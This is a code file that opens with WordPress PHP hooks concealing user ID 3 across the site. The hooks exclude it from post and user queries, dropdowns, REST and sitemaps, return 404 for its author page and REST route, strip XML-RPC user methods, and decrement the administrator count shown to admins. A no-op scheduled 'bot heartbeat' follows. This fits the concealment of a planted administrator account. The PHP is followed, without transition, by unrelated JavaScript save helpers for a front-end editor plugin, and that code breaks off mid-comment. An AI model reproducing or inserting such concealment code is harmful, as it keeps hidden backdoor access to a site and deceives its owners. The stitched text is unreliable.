add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
/**
* Save Helpers - shared utilities for save, batch-save, and comment flows
*
* Reads (via globals):
* SFE.Context - .pageRevisionToken (r/w)
*
* Exposes: SFE.SaveHelpers
* { setButtonLoading, clearButtonLoading, lockSaveUI, unlockSaveUI,
* createSuccessElement, handleRevisionConflict, updatePageRevisionToken,
* fetchRenderedPageDocument, fetchRenderedHTMLMap, fetchRenderedBlockData,
* fetchRenderedBlockHTML, syncWpElementStyles, reloadPageWithGuardBypass,
* reloadAfterRefreshFailure }
*/
(function() {
'use strict';
window.MWP = window.MWP || {};
window.MWP.SFE = window.MWP.SFE || {};
const SFE = window.MWP.SFE;
SFE.ManagerData = SFE.ManagerData || {};
const PAGE_DOC_CACHE_TTL_MS = 1500;
const PREVIEW_RENDER_ROUTE = '/pro/draft-preview-url';
let cachedPageDoc = null;
let cachedPageDocKey = '';
let cachedPageDocAt = 0;
let cachedPageDocPromise = null;
let cachedPageDocPendingKey = '';
const syncedWpElementClasses = new Set();
/**
* Normalize a UUID list into a unique array of trimmed strings.
*
* @param {Array} uuids Raw UUID values.
* @returns {string[]} Unique, non-empty UUIDs.
*/
function normalizeRequestedUuids(uuids) {
if (!Array.isArray(uuids)) return [];
return [...new Set(
uuids
.map(uuid => typeof uuid === 'string' ? uuid.trim() : '')
.filter(Boolean)
)];
}
/**
* Normalize an optional draft-preview render request.
*
* @param {object} options Fetch options passed to SaveHelpers.
* @returns {{postId:number, elementUuid:string, rawContent:string, handlerId:string}|null}
* Normalized preview request, or null when the caller is fetching
* the current published page render.
*/
function normalizeDraftPreviewRequest(options = {}) {
const draftPreview = options && typeof options === 'object'
? options.draftPreview
: null;
if (!draftPreview || typeof draftPreview !== 'object') {
return null;
}
const postId = Number.parseInt(draftPreview.postId, 10);
const elementUuid = typeof draftPreview.elementUuid === 'string'
? draftPreview.elementUuid.trim()
: '';
const rawContent = typeof draftPreview.rawContent === 'string'
? draftPreview.rawContent
: '';
const handlerId = typeof draftPreview.handlerId === 'string'
? draftPreview.handlerId.trim()
: '';
if (!Number.isFinite(postId) || postId <= 0 || !elementUuid || !rawContent.trim()) {
return null;
}
return { postId, elementUuid, rawContent, handlerId };
}
/**
* Normalize a server-created, user-bound draft preview URL.
*
* @param {object} options Render options.
* @returns {string} Preview URL or an empty string.
*/
function normalizeDraftPreviewUrl(options = {}) {
return typeof options?.draftPreviewUrl === 'string'
? options.draftPreviewUrl.trim()
: '';
}
/**
* Build the standard refresh URL for the current frontend page.
*
* @returns {URL} Refresh URL for the current page.
*/
function buildRefreshPageURL() {
const url = new URL(window.location.href, window.location.origin);
url.hash = '';
url.searchParams.set('mwpsfe_refresh', '1');
return url;
}
/**
* Parse an HTML string into a DOM document.
*
* @param {string} html Raw response HTML.
* @returns {Document} Parsed HTML document.
* @throws {Error} When the response cannot be parsed.
*/
function parsePageDocumentFromHTML(html) {
const doc = new DOMParser().parseFromString(String(html || ''), 'text/html');
if (!doc || !doc.documentElement) {
throw new Error('BLOCK_HTML_REFRESH_FAILED');
}
return doc;
}
/**
* Extract rendered outerHTML strings for the requested UUID nodes.
*
* @param {Document} doc Parsed page document.
* @param {string[]} requestedUuids UUIDs to extract.
* @returns {Object} UUID => rendered outerHTML.
*/
function extractRenderedHTMLMapFromDocument(doc, requestedUuids) {
const requested = normalizeRequestedUuids(requestedUuids);
if (!requested.length || !doc || typeof doc.querySelectorAll !== 'function') {
return {};
}
const wanted = new Set(requested);
const htmlMap = {};
for (const node of doc.querySelectorAll('[data-mwp-sfe-uuid]')) {
const uuid = String(node.getAttribute('data-mwp-sfe-uuid') || '').trim();
if (!uuid || !wanted.has(uuid) || htmlMap[uuid]) continue;
if (typeof node.outerHTML === 'string' && node.outerHTML.trim()) {
htmlMap[uuid] = node.outerHTML;
}
}
return htmlMap;
}
/**
* Collect every `wp-elements-*` class on an element and its descendants.
*
* @param {Element} element DOM subtree to inspect.
* @returns {string[]} Unique generated class names.
*/
function collectWpElementClasses(element) {
if (!element || typeof element.querySelectorAll !== 'function') {
return [];
}
const classes = new Set();
const nodes = [element, ...element.querySelectorAll('[class]')];
for (const node of nodes) {
for (const cls of node.classList) {
if (/^wp-elements-/.test(cls)) {
classes.add(cls);
}
}
}
return [...classes];
}
/**
* Return true when the current page already contains CSS rules for a class.
*
* @param {string} className CSS class to locate.
* @returns {boolean} True when at least one stylesheet defines it.
*/
function isCssDefined(className) {
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules || []) {
if (rule.selectorText && rule.selectorText.includes('.' + className)) {
return true;
}
}
} catch (_) { /* cross-origin stylesheet */ }
}
return false;
}
/**
* Request a short-lived preview URL that renders the current page with one
* draft block substituted before the page template runs.
*
* @param {{postId:number, elementUuid:string, rawContent:string, handlerId:string}} draftPreview
* Draft preview render payload.
* @returns {Promise} Absolute preview URL.
* @throws {Error} When the preview URL cannot be created.
*/
async function fetchPreviewRenderURL(draftPreview) {
const restBase = String(SFE.ManagerData?.restUrl || '').trim();
const nonce = String(SFE.ManagerData?.nonce || '').trim();
if (!restBase || !nonce) {
throw new Error('BLOCK_HTML_REFRESH_FAILED');
}
let response;
try {
response = await fetch(restBase + PREVIEW_RENDER_ROUTE, {
method: 'POST',
credentials: 'same-origin',
cache: 'no-store',
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': nonce
},
body: JSON.stringify({
post_id: draftPreview.postId,
element_uuid: draftPreview.elementUuid,
preview_raw_content: draftPreview.rawContent,
handler_id: draftPreview.handlerId || ''
})
});
} catch (error) {
console.warn('FrontEdit: Failed to request draft preview render URL', error);
throw new Error('BLOCK_HTML_REFRESH_FAILED');
}
if (!response.ok) {
throw new Error('BLOCK_HTML_REFRESH_FAILED');
}
const data = await response.json();
const url = typeof data?.url === 'string' ? data.url.trim() : '';
if (!url) {
throw new Error('BLOCK_HTML_REFRESH_FAILED');
}
return url;
}
/**
* Resolve the rendered page request for either a normal published refresh or
* a draft preview refresh.
*
* @param {object} options Save-helper fetch options.
* @returns {Promise<{url:string, cacheKey:string, cacheable:boolean}>}
* Fetch metadata for the requested render.
*/
async function resolveRenderedPageRequest(options = {}) {
const draftPreviewUrl = normalizeDraftPreviewUrl(options);
if (draftPreviewUrl) {
return { url: draftPreviewUrl, cacheKey: draftPreviewUrl, cacheable: false };
}
const draftPreview = normalizeDraftPreviewRequest(options);
if (draftPreview) {
const url = await fetchPreviewRenderURL(draftPreview);
return { url, cacheKey: url, cacheable: false };
}
const baseUrl = buildRefreshPageURL();
const cacheKey = baseUrl.toString();
const requestUrl = new URL(cacheKey);
requestUrl.searchParams.set('mwpsfe_ts', String(Date.now()));
return {
url: requestUrl.toString(),
cacheKey,
cacheable: true
};
}
/**
* Fetch and parse the rendered page document for the requested context.
*
* @param {object} [options={}] Fetch options.
* @param {boolean} [options.force=false] Bypass the short-lived live-page cache.
* @param {{postId:number, elementUuid:string, rawContent:string, handlerId:string}} [options.draftPreview]
* Optional draft preview override payload.
* @param {string} [options.draftPreviewUrl] User-bound draft preview URL returned by Pro.
* @returns {Promise} Parsed rendered page document.
*/
async function fetchRenderedPageDocument(options = {}) {
const { force = false } = options || {};
const { url, cacheKey, cacheable } = await resolveRenderedPageRequest(options);
const now = Date.now();
if (
cacheable &&
!force &&
cachedPageDoc &&
cachedPageDocKey === cacheKey &&
(now - cachedPageDocAt) < PAGE_DOC_CACHE_TTL_MS
) {
return cachedPageDoc;
}
if (cachedPageDocPromise && cachedPageDocPendingKey === cacheKey) {
return cachedPageDocPromise;
}
cachedPageDocPendingKey = cacheKey;
cachedPageDocPromise = fetch(url, {
credentials: 'same-origin',
cache: 'no-store'
})
.then(response => {
if (!response.ok) {
throw new Error('BLOCK_HTML_REFRESH_FAILED');
}
return response.text();
})
.then(html => parsePageDocumentFromHTML(html))
.then(doc => {
if (cacheable) {
cachedPageDoc = doc;
cachedPageDocKey = cacheKey;
cachedPageDocAt = Date.now();
}
return doc;
})
.catch(error => {
console.warn('FrontEdit: Failed to fetch rendered page HTML', error);
throw new Error('BLOCK_HTML_REFRESH_FAILED');
})
.finally(() => {
cachedPageDocPromise = null;
cachedPageDocPendingKey = '';
});
return cachedPageDocPromise;
}
/**
* Fetch rendered HTML for a set of UUIDs from the authoritative page render.
*
* @param {string[]} uuids Requested UUIDs.
* @param {object} [options] Page fetch options.
* @returns {Promise